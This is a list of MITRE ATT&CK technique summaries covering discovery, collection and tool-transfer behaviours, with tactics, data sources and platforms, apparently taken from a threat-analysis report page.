Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre